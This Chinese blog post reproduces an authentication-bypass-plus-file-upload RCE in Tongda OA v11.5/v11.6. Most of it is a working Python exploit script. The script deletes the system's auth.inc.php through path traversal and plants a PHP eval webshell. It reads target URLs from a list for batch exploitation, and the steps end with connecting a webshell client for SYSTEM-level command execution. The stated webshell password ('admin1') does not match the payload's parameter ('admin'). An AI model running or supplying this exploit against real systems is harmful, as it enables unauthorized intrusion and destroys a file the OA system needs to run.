通達OA V11.6 RCE(遠程代碼執行)漏洞復現


聲明:以下演示均在測試環境下運行。請勿用作違法用途,否則后果自負。

0x01 簡介

通達OA采用基於WEB的企業計算,主HTTP服務器采用了世界上最先進的Apache服務器,性能穩定可靠。數據存取集中控制,避免了數據泄漏的可能。提供數據備份工具,保護系統數據安全。多級的權限控制,完善的密碼驗證與登錄驗證機制更加強了系統安全性。
0x02 漏洞概述

該漏洞是由於通過刪除通達OA身份認證文件達到繞過登錄限制, 結合任意文件上傳達到RCE的效果。


0x03 影響版本

 

 通達OA<v11.5&v11.6版本

0x04 漏洞復現

import requests
#by Tommy,在原作者上修改而來,2020-8-19,通達OA 0 day漏洞利用
import sys
version = sys.version_info
if version < (3, 0):
    print('The current version is not supported, you need to use python3')
    sys.exit()
    
def exploit(target):
    try:
        target=target
        payload='<?php eval($_POST["admin"]);?>'#可自行修改
        print(target,"[*]刪除auth.inc.php...")

        url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"#刪除auth.inc.php請求
        requests.get(url=url,verify=False,timeout=10)
        print(target,"[*]正在檢查文件是否已刪除...")
        url=target+"/inc/auth.inc.php"
        page=requests.get(url=url,verify=False,timeout=10).text
        #print(page)
        if 'No input file specified.' not in page:
            print(target,"[-]無法刪除auth.inc.php文件")
            return 0
        print(target,"[+]刪除auth.inc.php成功")
        print(target,"[*]開始上傳payload...")
        url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
        files = {'FILE1': ('admin1.php', payload)}
        requests.post(url=url,files=files,verify=False,timeout=10)
        url=target+"/_admin1.php"
        page=requests.get(url=url,verify=False,timeout=10).text
        if 'No input file specified.' not in page:
            print("[+]************************文件已存在,上傳成功************************")
           # if '8a8127bc83b94ad01414a7a3ea4b8' in page:#如果執行過md5函數,才確認漏洞存在,減少誤報
            print(target,"************************代碼執行成功,存在漏洞************************")
            print(target,"[+]URL:",url)
        else:
            print(target,"[-]文件上傳失敗")
    except Exception as e:
        print(target,e)
urls='url.txt'
print("[*]警告:利用此漏洞,會刪除auth.inc.php,這可能會損壞OA系統")
input("按Enter繼續")
for url in open(urls,'r',encoding='utf-8').read().split('\n'):
    url=url.split()
    exploit(url[0])

1.創建url.txt 將想要測試的url寫入url.txt

2.執行 python3 OARCE.py 

 

 

3.打開url,_admin1.php 存在,上傳成功。

 

4.連接蟻劍,連接密碼為admin1,連接成功,拿到shell,執行命令權限為system,到此漏洞復現結束。

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM